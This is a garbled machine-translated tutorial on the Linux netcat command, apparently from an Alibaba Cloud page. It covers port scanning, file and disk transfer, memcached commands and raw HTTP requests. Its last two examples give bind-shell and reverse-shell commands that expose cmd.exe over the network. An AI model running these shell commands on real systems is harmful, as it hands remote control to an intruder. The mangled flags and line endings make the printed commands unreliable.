Linux nc/netcat command use detailed __linux

Source: Internet
Author: User
Tags set time
Linux NC commands use the detailed function Description: Powerful network tool Syntax: NC [-hlnruz][-g< Gateway ...>][-g< number >][-i< delay seconds >][-o< output file >][-p < communication port >][-s< Source Address >][-v ...] [-w< timeout number of seconds [Host name] [Communication port ...] Parameters:-g< Gateway >  set Router Hop communication gateway, the most lost can be set 8. -g< the number of pointers >  sets the source routing pointer, whose value is a multiple of 4. -h  online Help. -i< delay seconds >  set time interval to transmit information and scan communication ports. -l  uses the listening mode to control incoming data. -n  use IP addresses directly, not through domain name servers. -o< output File >  Specify the name of the file, the transfer of data to 16 into the codewords dumped into the file to save. -p< Communication Port >  set the communication port used by the local host. -r  Specifies the communication port between the local and the remote host. -s< location >  Set the IP address of the local host to send packets. -u  uses the UDP transport protocol. -v Verbose output-two-V for more detailed content-w< timeout seconds >  set the time to wait for the connection. -z  uses 0 input/output mode and is only used when scanning the communication port. NC uses example 1. Port Scan # nc-v-W 2 192.168.2.34-z 21-24 nc:connect to 192.168.2.34 port (TCP) Failed:connection refused Connection to 192.168.2.34 Port [Tcp/ssh] succeeded! Nc:connect to 192.168.2.34 port (TCP) Failed:connection refused nc:connect to 192.168.2.34 port (TCP) Failed:con Nection refused 2. Copy files from 192.168.2.33 to 192.168.2.34 in 192.168.2.34: nc-l 1234 > Test.txt on 192.168.2.33: NC 192.168.2.34 < Test.txt 3. Simple Chat tool on the 192.168.2.34: nc-l 1234 on the 192.168.2.33: NC 192.168.2.34 1234 So that the two sides can communicate with each other. Use CTRL + C (or D) to exit. 4. Use NC command operation memcached 1 to store data: printf "Set key 0 6rnresultrn" |nc 192.168.2.34 11211 2) Fetch data: printf "Get Keyrn" |nc 192.168. 2.34 11211 3) Delete data: printf "Delete Keyrn" |nc 192.168.2.34 11211 4) View status: printf "STATSRN" |nc 192.168.2.34 11211 5) Simulate top command view State: Watch "echo stats" |nc 192.168.2.34 11211 6) Empty cache: printf "flush_allrn" |nc 192.168.2.34 11211 (careful operation, empty cache is gone) 5. Nc-p 12 34-w 5 host.example.com 80 establishes 80 port connections from local 1234 ports to host.example.com, 5 seconds Timeout nc-u host.example.com u for UDP connection 6. Echo-n "get/http/1.0" R "N" r "n" | NC host.example.com 80 connects to the host and executes 7. Nc-v-Z host.example.com 70-80 scan ports (70 to 80) to specify a range. -V Output details. 8. Remote copy files from Server1 copy files to Server2. Need to first on the Server2, with the NC activation listening, server2 running: root@hatest2 tmp]# NC-LP 1234 > Install.log server1 run: [root@hatest1 ~]# ll Install .log-rw-r–r–  1 root 39693 December 20  2007 Install.log [Root@hatest1 ~]# nc-w 1 192.168.228.222 1234 < Install.log 9. The clone hard disk or partition operation is identical to the copy above, and only need to obtain the hard disk or partition data from DD, and then transfer. The operation of cloning a hard disk or partition should not be performed on a system that has already been mount. So, after booting with the installation CD, go into rescue mode (or use the Knoppix tool CD) to boot the system and perform a similar listening action on the Server2: # nc-l-P 1234 | The DD OF=/DEV/SDA Server1 performs the transfer to complete the task of cloning SDA hard drive from Server1 to Server2: # dd IF=/DEV/SDA | NC 192.168.228.222 1234※ completes the above work premise, is needs to implement the CD rescue mode to support the network card on the server, and correctly configures the IP. 10. Save Web page # while true; Do Nc-l-P 80-q 1 < somepage.html; Done 11. Simulate HTTP Headers, get the Web page source code and return header information [Root@hatest1 ~]# NC www.linuxso.com get/http/1.1 Host:ispconfig.org. COM user-agent:my-browser http/1.1 OK date:tue, Dec 2008 07:23:24 GMT server:apache/2.2.6 (Unix) DAV/2 mod_mono/ 1.2.1 mod_python/3.2.8 python/2.4.3 mod_perl/2.0.2 perl/v5.8.8 set-cookie:phpsessid=bbadorbvie1gn037iih6lrdg50; path=/expires:0 Cache-control:no-store, No-cache, Must-revalidate, post-check=0, pre-check=0 Pragma:no-cache Cache-Co Ntrol:private, Post-check=0, pre-check=0, max-age=0 Set-cookie: Own_sid=xrutay; Expires=tue, 23-dec-2008 07:23:24 GMT; path=/vary:accept-encoding transfer-encoding:chunked content-type:text/html [...] after the NC command, enter the contents of the Red section and press ENTER two times. You can get HTTP headers content from each other. 12. Transfer directory from Server1 copy nginx-0.6.34 directory content to Server2. Need to be on Server2, with NC activation listening, running on server2: references [root@hatest2 tmp]# nc-l 1234 The |tar xzvf-server1 run on: reference [Root@hatest1 ~]# ll-d-Ngin x-0.6.34 drwxr-xr-x 8 1000 1000 4096 12-23 17:25 nginx-0.6.34 [root@hatest1 ~]# tar czvf–nginx-0.6.34|nc 192.168.228.222 1234 13.REMOTE Host Binding Shell Example: Format: Nc-l-P 5354-t-e c:\winnt\system32\cmd.exe explanation: Bind remote host Cmdshell Port 14 on remote host . Remote host binding shell and reverse Connection example: Format: NC-T-e c:\winnt\system32\cmd.exe 192.168.x.x 5354 Explanation: Bind remote host Cmdshell and reverse connect to 192.168.x.x TCP5354 port above for the most basic use (in fact, there are many NC usage, when the pipe with the command "|" Commands with redirect command "<", ">" and so on are more powerful ... )。

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.